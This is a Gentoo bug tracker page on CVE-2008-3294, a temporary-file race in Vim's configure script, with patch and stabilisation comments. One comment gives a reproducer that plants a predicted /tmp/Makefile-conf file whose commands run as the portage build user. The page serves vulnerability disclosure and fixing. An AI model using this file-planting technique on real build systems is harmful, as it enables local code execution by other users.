Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 232890 (CVE-2008-3294) - app-editors/vim < 7.2 configure.in Makefile-conf temporary file issue (CVE-2008-3294)
Summary: app-editors/vim < 7.2 configure.in Makefile-conf temporary file issue (CVE-20...
Status: RESOLVED FIXED
Alias: CVE-2008-3294
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All Linux
: High critical (vote)
Assignee: Gentoo Security
URL: http://thread.gmane.org/gmane.comp.se...
Whiteboard: A1 [noglsa]
Keywords:
Depends on:
Blocks:
 
Reported: 2008-07-25 00:53 UTC by Robert Buchholz (RETIRED)
Modified: 2014-05-31 18:07 UTC (History)
2 users (show)

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Robert Buchholz (RETIRED) gentoo-dev 2008-07-25 00:53:57 UTC
CVE-2008-3294 (http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-3294):
  src/configure.in in Vim 5.0 through 7.1, when used for a build with Python
  support, does not ensure that the Makefile-conf temporary file has the
  intended ownership and permissions, which allows local users to execute
  arbitrary code by writing to this file during a time window associated with a
  race condition.
Comment 1 Robert Buchholz (RETIRED) gentoo-dev 2008-07-25 01:17:40 UTC
Just for reference, here's a reproducer.

create /tmp/Makefile-conf$$ with the expected PID range, 644 mode and following content:

__:
        echo echo "Hey there"
        echo id
        echo whoami
        echo pwd


then "emerge vim"
...
checking Python's configuration directory... /usr/lib/python2.5/config
auto/configure: line 4858: /tmp/Makefile-conf2247: Permission denied
echo Hey there
Hey there
id
uid=250(portage) gid=250(portage) groups=250(portage)
whoami
portage
pwd
/var/tmp/portage/app-editors/vim-7.1.319/work/vim71/src
Comment 2 Robert Buchholz (RETIRED) gentoo-dev 2008-07-31 00:28:45 UTC
There's a patch for this issue against 7.2b, but the patch also applies to 7.1
ftp://ftp.vim.org/pub/vim/unstable/patches/7.2b/7.2b.014
Comment 3 Ali Polatel (RETIRED) gentoo-dev 2008-08-14 08:45:11 UTC
{vim,gvim}-7.2 are in CVS.
Comment 4 Robert Buchholz (RETIRED) gentoo-dev 2008-08-14 12:47:56 UTC
Arches, please test and mark stable:
=app-editors/vim-7.2
=app-editors/vim-core-7.2
Target keywords : "alpha amd64 arm hppa ia64 m68k ppc ppc64 s390 sh sparc x86"

=app-editors/gvim-7.2
Target keywords : "alpha amd64 hppa ia64 ppc ppc64 sparc x86"
Comment 5 Ferris McCormick (RETIRED) gentoo-dev 2008-08-14 13:34:35 UTC
Sparc stable, even if rushed.  Works fine for me, and this looks like a rather unpleasant security bug.
Comment 6 Raúl Porcel (RETIRED) gentoo-dev 2008-08-14 15:12:26 UTC
alpha/ia64/x86 stable
Comment 7 Brent Baude (RETIRED) gentoo-dev 2008-08-14 17:04:27 UTC
ppc & ppc64
Comment 8 Jeroen Roovers (RETIRED) gentoo-dev 2008-08-15 10:47:48 UTC
Stable for HPPA.
Comment 9 Markus Meier gentoo-dev 2008-08-15 18:59:42 UTC
amd64 stable
Comment 10 Sean Amoss (RETIRED) gentoo-dev Security 2014-05-31 18:07:34 UTC
This issue has been fixed since Aug 15, 2008. No GLSA will be issued.